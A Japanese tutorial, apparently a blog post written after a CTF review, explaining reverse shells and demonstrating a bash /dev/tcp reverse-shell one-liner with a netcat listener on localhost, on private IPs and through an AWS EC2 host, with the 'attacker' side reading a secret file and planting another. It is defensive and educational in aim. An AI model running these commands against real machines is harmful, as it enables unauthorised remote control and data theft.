某CTFの復習していて、"ReverseShellをやる"というwriteupがあったのだけど、具体的なやり方が分からなかったので1から調べてみました。
- そもそもReverseShellってなに?3行くらいで説明して?(大幅にオーバーした)
- 最もシンプルなサンプルはどんな感じ?
- インターネット越しの実践例・揃えるべき環境が知りたい
あたりに応えられる内容になっていればと思います。
リバースシェル(Reverse Shell)とは
What Is a Reverse Shell | Acunetix
↑こちらの記事がとてもわかりやすかったのでおすすめ。
一般的なリモート接続のシナリオは、クライアントがサーバーに接続にいきます。サーバー側は接続をlisten(リッスン)して待ち構えており、来たクライアントからの接続に対して処理をし、レスポンスを返します。
一方、リバースシェル(Reverse Shell)では、この役割が逆になります。
クライアントはサーバーからの接続をlistenして待ち構えており、サーバーに接続に来させます。サーバーから、shellを触らせてあげるような接続を投げさせることができれば、クライアント側からサーバー側の操作が可能になります。
リバースシェル自体は悪意のあるものではなく、リモートサーバーの管理など、正当な目的にも利用できます。ただ、攻撃者にとってもリバースシェルはとても魅力的で、対象サーバの制御を取る目的でもよく利用されます。人気の理由の一つに、Webサーバーではインバウンドの制限を行っていることが多いのに対し、アウトバウンドに関してはあまり制御されていないことが多い事があげられています。(昨今はアウトバウンドもちゃんと制御するのが一般的になりつつあると思いますが)
より詳細な内容、どうしてリバースシェルがよく使われるかなどは上記リンク先を参照。
Reverse Shell Cheet Sheet
- Reverse Shell Cheat Sheet | pentestmonkey
- PayloadsAllTheThings/Reverse Shell Cheatsheet.md at master · swisskyrepo/PayloadsAllTheThings · GitHub
ぐぐってみるとたくさん見つかりました。
手っ取り早くいろいろ試してみたい方は上記のサイトを参考にするのが良さそう。
今回は一番上のサイトの一番シンプルそうなやつを見てみます。
Reverse Shell by Bash を分析
bash -i >& /dev/tcp/{my.ip}/{port} 0>&1
Bashコマンドによる Reverse Shell の例です。
bash -i
: 対話型のshellを開く>&
: stdout, stderr 両方を、後に続くファイル名にリダイレクト ※1/dev/tcp/{my.ip}/{port}
:>&
の引数(リダイレクト先) ※20>&1
: fd0(stdin)を fd1(stdout) にリダイレクト。※3
※1: bash manual より
標準出力と標準エラー出力のリダイレクト
この構造を使うと、標準出力(ファイル・ディスクリプター1)と標準エラー出力(ファイル・ディスクリプター2)の両方を、wordを展開した結果の名前を持つファイルにリダイレクトできます。
※2: bash manual によると
リダイレクト
bash は、 以下の表にあるようなファイル名がリダイレクトに使用されると、 それらを特別に扱います。
...(略)
ということで、>&
の引数としてリダイレクト先がこれに指定されているため、TCPソケットに IO stream がリダイレクトされます。
※3: fd(file descriptor)については下記の通り。
0: 標準入力 1: 標準出力 2: 標準エラー出力 n: 任意の入出力先
0>&1
は標準入力を標準出力にリダイレクトしています。これにより、インタラクティブなサーバ側の操作が可能になります。
local環境でReverseShellを実践してみる
攻撃側をattacker
、被害者側をvictim
と名付けます。attacker
,victim
2つの端末を開きます。
今回は、kali linux on VM と、Mac OSX で試してみました。両者とも下記の条件です。
前提条件
- attacker側は
/attacker
ディレクトリで操作 - victim側は
/victim
ディレクトリで操作 secret.txt
が/victim
配下にのみ存在nc
(netcat) がinstallされている
kali linux on vm
まずは、攻撃側で任意の使用していないポートを開き、listen状態で待ちます。
attacker
$ nc -nvlp 8000
※上のterminalがattacker, 下がvictimです。
次に、被害者側に下記のコマンドを叩かせます。(実験ではただ自分で叩くだけですが)
victim
$ bash -i >& /dev/tcp/localhost/8000 0>&1
すると、攻撃側の端末が /victim
ディレクトリに移動したのがわかります。
あとは、attacker側の端末から自由にvictim側が操作できます。今回はsecret.txt
を読んだり、mal.txt
というのを作成しておいておきました。
attacker
$ ls $ cat secret.txt $ touch mal.txt
他にも、ファイルを読み出したり実行したりできます。
接続を解除しても、victim側の端末にはmal.txt
が残ったままです。
基本的な reverse shell の流れが確認できました。
mac osx
最初のattackerのコマンド以外は、linuxと同じです。
まずは、攻撃側で任意の使用していないポートを開き、listen状態で待ちます。
attacker
$ nc -nvl 8000
※上のterminalがattacker, 下がvictimです。
次に、被害者側に下記のコマンドを叩かせます。(実験ではただ自分で叩くだけですが)
victim
$ bash -i >& /dev/tcp/localhost/8000 0>&1
すると、攻撃側の端末がbashになりました。
あとは、attacker側の端末から自由にvictim側が操作できます。今回はsecret.txt
を読んだり、mal.txt
というのを作成しておいておきました。
attacker
$ ls $ cat secret.txt $ touch mal.txt
他にも、ファイルを読み出したり実行したりできます。
接続を解除しても、victim側の端末にはmal.txt
が残ったままです。
Private IPアドレスを指定して実施してみる
Global IPで試す前に、まず Private IP の指定でも動くのかを確認します。
kali linux on vm
private ipアドレス調査
$ hostname -I 10.0.2.15
attaker
port 8000番で listen して待ちます。
root@kali:~/attaker# ls root@kali:~/attaker# pwd /root/attaker root@kali:~/attaker# nc -nlvp 8000 listening on [any] 8000 ...
victim
8000番にtcpアクセス。
root@kali:~/victim# ls secret.txt root@kali:~/victim# pwd /root/victim root@kali:~/victim# bash -i >& /dev/tcp/10.0.2.15/8000 0>&1
victim側が接続すると、attacker側の端末に
connect to [10.0.2.15] from (UNKNOWN) [10.0.2.15] 34540
と表示されて接続されたことが確認できます。あとはlocalhost指定のときと同様に
attaker
root@kali:~/victim# pwd pwd /root/victim root@kali:~/victim# ls ls secret.txt root@kali:~/victim# cat secret.txt cat secret.txt this is secret text.
secret.txt
も表示できました。
mac osx
ipアドレス調査
$ ifconfig en0 en0: flags=8863<UP,BROADCAST,SMART,RUNNING,SIMPLEX,MULTICAST> mtu 1500 ether *:*:*:*:*:* inet6 *::*:*:*:*%en0 prefixlen 64 secured scopeid 0x9 inet 192.168.11.3 netmask 0xffffff00 broadcast 192.168.11.255 nd6 options=201<PERFORMNUD,DAD> media: autoselect status: active
ということで、private ipは192.168.11.3
のようです。
attacker
$ nc -nvl 8000
victim
$ bash -i >& /dev/tcp/192.168.11.3/8000 0>&1
こちらも上記のように接続してみると、attacker側の端末でvictim側の操作ができました。
$ nc -l 8000 bash-3.2$ ls secret.txt bash-3.2$ cat secret.txt this is secret text.
インターネット越しにReverseShellやってみる
ついにやりたかったことです。
※注意※
自分の管理下にある端末、もしくはCTF環境など特殊な事情で攻撃が許されている環境で実験してください
本当は mac osx で attack側を、他の環境を用意してvictim側をやりたかったのですが、今回は mac osx で victimを、AWSのEC2 instanceでattack側をやってみます。
リバースシェル自体は悪意のあるものではなく、リモートサーバーの管理など、正当な目的にも利用できます。
なので、今回の実験では特に申請などは不要と判断。
一応AWSの脆弱性・侵入テストの規約にも目を通しておきました。侵入テストなどをする場合には、NDAを結んでおかないといけないようです。
ペネトレーションテスト(侵入テスト)- AWS セキュリティ|AWS
上記は今後アップデートされる可能性があるので、実験される前に再度利用規約のご確認をお願いします。
AWS EC2 instanceの立ち上げ・設定
AWSのアカウント取得などについては他を参照してください。今回の実験だけだと、無料枠でできるはずです。
AWSコンソールに入ったら、EC2
> インスタンス
画面に遷移します。
何も考えずに インスタンスの作成
-> Amazon Linux 2
(無料利用枠の対象 かつ Linux なら何でも) > t2.micro
(無料利用枠の対象ならなんでも) を選択肢、 確認と作成
をします。
確認画面では、そのまま何も変更せず起動
を選択。もしキーペアを持っていない場合はここで作成しておきます。
起動したら、また インスタンス
の画面から起動したinstanceを確認します。
ここで、セキュリティグループの設定をします。今回の実験では、自分のIPアドレスに対してlistenを行いたいので、そこを開けます。
先ほど作成したインスタンスを選択 > セキュリティグループ > 対象のセキュリティグループのリンクをクリック
対象のセキュリティグループのインバウンドを見てみると、初期状態ではSSHの22番ポートのみ開いています。ここに自分のIPとの8000番ポート通信を追加します。
編集 > ルールの追加
カスタムTCP, プロトコル=TCP, ポート範囲=8000, ソース=マイIP(勝手にIPを埋めてくれます)
これで保存します。
これで設定は完了です。次にこのEC2インスタンスにSSHログインします。
インスタンス一覧に戻り、対象のインスタンスを選択、「接続」ボタンをクリックすると、なんとssh接続のためのコマンドが出てきます。超便利。いつからこんなの出るようになったんだろう?
ssh -i "test_aws_ec2.pem" ec2-user@ec2-3-133-147-245.us-east-2.compute.amazonaws.com
今回の場合は、上記のコマンドを指定されました。ssh
コマンドで、先ほど作成したキーペアを指定、対象のインスタンスのアドレスとユーザーを指定するだけです。これを、先程のキーペアのあるディレクトリで実施すれば、EC2に接続できます。pemキーの権限設定に注意です。詳細は上記のインスタンスへの接続方法に書いてあります。
こんな感じでWelcome AAが表示されたら接続成功です。
__| __|_ ) _| ( / Amazon Linux 2 AMI ___|\___|___| https://aws.amazon.com/amazon-linux-2/ [ec2-user@ip-*-*-*-* ~]$
更に、EC2側でもnc
コマンドを使うのでインストールしておきます。
$ sudo yum install nc
Global IP の調べ方
先程EC2インスタンスを立ち上げる際のSecurityGp設定で出てきましたが、自身のクライアントPCのグローバルIPアドレスは下記のように調べられます。(Linux/Mac共通)
$ curl ifconfig.io
or
$ curl inet-ip.info
EC2側のIPアドレスは、インスタンス情報にも書いてあります。上記でも調べられます。
Reverse Shell (EC2 -> My Mac OSX)
お待ちかね Reverse Shell をやってみます。
attacker (EC2)
8000番ポートを開いて待ち構えます。
[ec2-user@ip-*-*-*-* ~]$ nc -vnlp 8000 Ncat: Version 7.50 ( https://nmap.org/ncat ) Ncat: Listening on :::8000 Ncat: Listening on 0.0.0.0:8000
victim (Mac OSX)
$ bash -i >& /dev/tcp/{ec2.global.ip.address}/8000 0>&1
EC2の方に応答が来ました。つながったようです。
attacker (EC2)
Ncat: Connection from my.ip.address. Ncat: Connection from my.ip.address:64886.
attacker (EC2)
あとは今まで同様、secret.txt
の読み出しやmal.txt
を置いていきます。
bash-3.2$ ls secret.txt bash-3.2$ cat secret.txt this is secret text. bash-3.2$ touch mal.txt
secre.txt
読めました。接続終了後にvictim側を確認してみると
victim
$ ls mal.txt secret.txt
mal.txt
も無事残っています。
最後に。今回立てたインスタンスたちは、念の為終了・ないし停止しておきましょう。自分のIPとしか穴を開けていませんが、インスタンスは立ってるだけで攻撃と課金の対象になり得るので。。。